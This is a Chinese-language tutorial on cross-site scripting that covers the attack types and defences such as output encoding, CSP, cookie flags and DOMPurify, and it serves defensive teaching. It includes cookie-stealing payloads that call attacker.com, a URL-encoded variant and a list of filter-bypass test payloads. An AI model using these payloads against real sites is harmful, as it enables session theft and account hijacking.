跳到主要内容

XSS 跨站脚本攻击:前端安全的重灾区

XSS (Cross-Site Scripting) 是 Web 应用中最普遍的攻击手段之一。它的核心是:在合法的网页中注入恶意脚本,使浏览器在用户不知情的情况下执行攻击者的代码。

什么是 XSS?理解攻击本质

XSS 攻击的目标不是网站服务器,而是访问该网站的普通用户。攻击者通过漏洞将恶意脚本注入到网页中,当其他用户浏览该页面时,脚本在其浏览器中执行。

XSS 的危害

一旦 XSS 攻击成功,攻击者可以:

  • 窃取会话信息:获取用户的 Cookie、Session Token,冒充用户身份
  • 窃取敏感数据:读取页面中的个人信息、支付信息
  • 篡改页面内容:修改页面显示,进行钓鱼诈骗
  • 发起其他攻击:以用户身份执行操作、发起 CSRF 攻击
  • 传播蠕虫:在社交平台自动传播恶意链接

攻击流程示意

XSS 的三种类型

1. 存储型 XSS(Stored XSS)—— 危害最大

恶意脚本被永久存储在目标服务器上(如数据库、文件系统)。当用户浏览相关页面时,脚本自动执行。

典型场景:论坛帖子、博客评论、用户资料、消息系统

攻击示例

<!-- 攻击者在评论区提交 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

<!-- 或者更隐蔽的方式 -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

危害:所有访问该页面的用户都会受影响,影响范围广。

2. 反射型 XSS(Reflected XSS)—— 链接诱导

恶意脚本不存储在服务器上,而是通过 URL 参数"反射"回来。攻击者构造恶意链接,诱骗用户点击。

典型场景:搜索结果页、错误消息页、跳转页面

攻击示例

https://example.com/search?q=<script>alert('XSS')</script>

// 服务端代码(危险)
res.send(`搜索结果:${req.query.q}`);

攻击者将链接伪装后发送给受害者:

https://example.com/search?q=%3Cscript%3Efetch%28%27https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E

3. DOM 型 XSS(DOM-based XSS)—— 客户端漏洞

完全在浏览器端发生,不经过服务器。恶意脚本通过操作 DOM 环境注入。

典型场景:单页应用(SPA)、动态内容加载

危险代码

// 危险:直接将 URL 参数插入 DOM
document.getElementById('content').innerHTML = location.hash.substring(1);

// 危险:使用 eval 处理用户输入
eval('var data = ' + userInput);

// 危险:动态创建脚本
document.write('<script>' + userInput + '</script>');

攻击 URL

https://example.com/#<img src=x onerror=alert('XSS')>

XSS 的变种:mXSS(突变 XSS)

mXSS (Mutation XSS) 是 XSS 的高级变种,利用浏览器 HTML 解析器的规范化行为绕过过滤。

原理

  1. 攻击者提交一段"看起来安全"的 HTML
  2. 服务端或前端过滤器检查通过
  3. 浏览器渲染时,HTML 解析器对内容进行"规范化"
  4. 在规范化过程中,原本被包裹的恶意代码被"释放"出来

示例

<!-- 输入:看起来安全的 HTML -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- 浏览器解析后:恶意代码被释放 -->
<p title="</noscript><img src=x onerror=alert(1)>">

防御

  • 不要依赖简单的黑白名单过滤
  • 使用成熟的 HTML 净化库(如 DOMPurify)
  • 保持净化库版本更新

核心防御策略

防御 XSS 需要多层防护,没有单一的银弹。

策略一:输出编码(Output Encoding)—— 最核心的防御

输出编码是将特殊字符转换为安全形式,使浏览器将其视为数据而非代码。不同上下文需要不同的编码方式。

HTML 上下文编码

当数据插入 HTML 标签之间时:

<div>用户数据</div>
<p>用户数据</p>

编码规则

字符编码后
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;

实现示例

function htmlEncode(str) {
return str
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}

// 或使用浏览器原生方法
element.textContent = userInput; // 自动编码,安全!
// 而不是 element.innerHTML = userInput; // 危险!

HTML 属性上下文编码

当数据插入 HTML 属性值时:

<div class="用户数据"></div>
<input value="用户数据">

关键规则

  • 属性值必须用引号包围
  • 编码所有字符为 &#xHH; 格式(HH 为十六进制 Unicode 值)
// 安全:使用引号包围 + 属性编码
elem.setAttribute('data-value', userInput); // 自动处理,安全!

// 危险:未用引号
elem.setAttribute('data-value', userInput); // 如果输入包含空格,可能逃出属性

安全属性列表(可安全插入用户数据):

align, alt, bgcolor, border, class, color, cols, height, href(需额外验证), id(需验证), lang, name(需验证), rows, size, span, src(需验证), style(需特殊处理), title, type, value, width

危险属性(不要插入用户数据):

onclick, onerror, onload, onmouseover, formaction, xlink:href

JavaScript 上下文编码

当数据插入 JavaScript 代码中时:

<script>
var name = "用户数据";
alert('用户数据');
</script>

编码规则:使用 \uXXXX 格式编码所有字符

function jsEncode(str) {
let result = '';
for (let i = 0; i < str.length; i++) {
const hex = str.charCodeAt(i).toString(16).padStart(4, '0');
result += '\\u' + hex;
}
return result;
}

// 更安全:避免将数据插入 JavaScript 上下文
// 改用 data 属性传递数据
<div data-name="用户数据" id="myDiv"></div>
<script>
const name = document.getElementById('myDiv').dataset.name; // 从 DOM 读取
</script>

URL 上下文编码

当数据插入 URL 参数时:

<a href="https://example.com/search?q=用户数据">搜索</a>

编码规则:使用百分号编码 %HH

// 安全:使用 encodeURIComponent
const safeUrl = 'https://example.com/search?q=' + encodeURIComponent(userInput);

// 危险:直接拼接
const unsafeUrl = 'https://example.com/search?q=' + userInput;

注意:如果用户数据是完整 URL,需要额外验证协议:

function safeUrl(url) {
// 只允许 http/https 协议
if (!/^https?:\/\//i.test(url)) {
return '#'; // 返回安全默认值
}
return url;
}

CSS 上下文编码

当数据插入 CSS 时(较少见但需要处理):

<style>
.box { background-color: 用户数据; }
</style>
<div style="color: 用户数据"></div>

编码规则:使用 \XXXXXX 格式(6位十六进制)

function cssEncode(str) {
let result = '';
for (let i = 0; i < str.length; i++) {
const hex = str.charCodeAt(i).toString(16).padStart(6, '0');
result += '\\' + hex;
}
return result;
}

更好的做法:避免在 CSS 中插入用户数据,改用预定义的类名。

编码规则速查表

上下文编码方法示例
HTML 内容HTML 实体编码<&lt;
HTML 属性HTML 属性编码 + 引号包围"&quot;
JavaScriptUnicode 编码 \uXXXX"\u0022
URL 参数百分号编码 %HH %20
CSS反斜杠十六进制 \XXXXXX"\000022

策略二:内容安全策略(CSP)—— 纵深防御

CSP 是 HTTP 响应头,告诉浏览器只允许加载和执行特定来源的内容。即使攻击者成功注入脚本,CSP 也能阻止其执行。

基本配置

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'

指令说明

指令说明示例
default-src默认策略'self' 只允许同源
script-srcJavaScript 来源'self' https://cdn.example.com
style-srcCSS 来源'self' 'unsafe-inline'
img-src图片来源'self' data: https:
connect-srcAJAX/WebSocket 目标'self' https://api.example.com
font-src字体来源'self' https://fonts.gstatic.com
frame-srciframe 来源'self'
report-uri违规报告地址/csp-report

重要关键字

  • 'self':只允许同源资源
  • 'none':禁止任何资源
  • 'unsafe-inline':允许内联脚本/样式(降低安全性)
  • 'unsafe-eval':允许 eval 等函数(降低安全性)
  • 'nonce-xxx':允许带特定 nonce 的内联脚本
  • 'sha256-xxx':允许特定哈希值的内联脚本

推荐配置

# 严格的 CSP 配置
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'

使用 nonce 处理必要的内联脚本

// 服务端生成随机 nonce
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', `script-src 'self' 'nonce-${nonce}'`);

// 模板中使用
res.send(`
<script nonce="${nonce}">
// 这里的代码会被允许执行
console.log('安全执行');
</script>
`);

策略三:Cookie 安全配置

即使 XSS 攻击成功,安全配置的 Cookie 也能减少损失。

Set-Cookie: session=abc123; 
HttpOnly; # 禁止 JavaScript 访问
Secure; # 仅 HTTPS 传输
SameSite=Strict; # 禁止跨站发送
Path=/;
Max-Age=3600

SameSite 属性值

行为
Strict完全禁止跨站发送 Cookie
Lax允许顶级导航的 GET 请求携带(默认值)
None允许跨站发送(需要配合 Secure)

策略四:HTML 净化

当需要允许用户输入富文本(如 Markdown 编辑器、评论系统)时,使用 HTML 净化库移除危险标签和属性。

使用 DOMPurify

import DOMPurify from 'dompurify';

// 基本用法
const clean = DOMPurify.sanitize(dirtyHTML);

// 允许特定标签
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'title']
});

// 允许 data 属性
const clean = DOMPurify.sanitize(dirtyHTML, {
ADD_ATTR: ['data-id', 'data-type']
});

// 处理后安全插入
element.innerHTML = clean;

服务端净化(Node.js)

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const clean = DOMPurify.sanitize(userInput);

现代框架的安全特性

现代前端框架默认提供 XSS 防护,但需要了解其边界。

React

安全:JSX 自动转义

// 安全:自动转义
<div>{userInput}</div>

// 危险:绕过保护
<div dangerouslySetInnerHTML={{ __html: userInput }} />

正确使用 dangerouslySetInnerHTML

import DOMPurify from 'dompurify';

function SafeHTML({ content }) {
const clean = DOMPurify.sanitize(content);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

注意事项

  • href 属性中的 javascript: 协议需要自行验证
  • data: URL 也可能执行脚本
// 危险:用户可能输入 javascript:alert(1)
<a href={userUrl}>点击</a>

// 安全:验证协议
function SafeLink({ href, children }) {
const isSafe = /^https?:\/\//i.test(href);
return <a href={isSafe ? href : '#'}>{children}</a>;
}

Vue

安全:模板自动转义

<!-- 安全:自动转义 -->
<div>{{ userInput }}</div>

<!-- 危险:绕过保护 -->
<div v-html="userInput"></div>

正确使用 v-html

<template>
<div v-html="sanitizedContent"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
computed: {
sanitizedContent() {
return DOMPurify.sanitize(this.userInput);
}
}
}
</script>

Angular

安全:默认转义

// 安全:自动转义
<div>{{ userInput }}</div>

// 危险:绕过保护
<div [innerHTML]="userInput"></div>

使用 DomSanitizer

import { DomSanitizer } from '@angular/platform-browser';

@Component({...})
export class MyComponent {
constructor(private sanitizer: DomSanitizer) {}

get safeHtml() {
// 注意:bypassSecurityTrustHtml 仍需配合净化库
return this.sanitizer.bypassSecurityTrustHtml(
DOMPurify.sanitize(this.userInput)
);
}
}

安全编码实践清单

输入处理

  • 所有外部数据视为不可信
  • 在服务端进行输入验证(前端验证可被绕过)
  • 使用白名单验证而非黑名单
  • 对特殊字符进行适当处理

输出处理

  • 根据上下文选择正确的编码方式
  • 优先使用框架的默认安全机制
  • 避免使用 innerHTMLv-htmldangerouslySetInnerHTML
  • 必须使用富文本时,使用 DOMPurify 净化

安全配置

  • 设置 CSP 响应头
  • 设置 HttpOnly、Secure、SameSite Cookie 属性
  • 设置 X-XSS-Protection 响应头(现代浏览器已弃用,但仍可保留)
  • 设置 X-Content-Type-Options: nosniff

代码审查

  • 搜索所有 innerHTMLouterHTMLdocument.write 使用
  • 搜索所有 evalnew FunctionsetTimeout(string) 使用
  • 检查所有 URL 拼接操作
  • 检查模板字符串中是否直接嵌入用户数据

常见错误示例

错误一:依赖前端过滤

// 危险:前端过滤可被绕过
function filterScript(str) {
return str.replace(/<script>/gi, '');
}
// 攻击者可使用 <scr<script>ipt> 或编码绕过

正确做法:服务端验证 + 输出编码

错误二:黑名单过滤

// 危险:黑名单不完整
function filterXSS(str) {
return str.replace(/<script>|<\/script>/gi, '');
}
// 攻击者可使用 <img onerror>、<svg onload> 等

正确做法:白名单验证或使用专业净化库

错误三:忽略 URL 参数

// 危险:直接使用 URL 参数
location.hash.substring(1) // 可能为恶意内容
new URLSearchParams(location.search).get('q')

正确做法:使用前进行编码或验证

安全测试方法

手动测试

在输入框和 URL 参数中尝试以下 Payload:

<!-- 基础测试 -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

<!-- 绕过过滤 -->
<ScRiPt>alert('XSS')</sCrIpT>
<img src=x OnErRoR=alert('XSS')>
<img src="x" onerror="alert('XSS')">

<!-- 编码绕过 -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<a href="javascript:alert('XSS')">点击</a>

<!-- 事件处理器 -->
<div onmouseover="alert('XSS')">鼠标移过来</div>
<input onfocus="alert('XSS')" autofocus>
<body onload="alert('XSS')">

<!-- HTML5 标签 -->
<video><source onerror="alert('XSS')">
<marquee onstart="alert('XSS')">
<details open ontoggle="alert('XSS')">

工具测试

  • OWASP ZAP:自动化扫描
  • Burp Suite:渗透测试
  • XSStrike:专用 XSS 检测工具

总结

防御 XSS 需要系统性的方法:

  1. 输出编码是核心:根据上下文选择正确的编码方式
  2. CSP 是纵深防御:作为第二道防线,而非唯一防御
  3. Cookie 安全配置:减少攻击成功后的损失
  4. 框架安全特性:利用框架默认保护,了解其边界
  5. HTML 净化:富文本场景使用专业净化库

记住:任何外部数据在插入页面前都必须经过适当处理

参考资料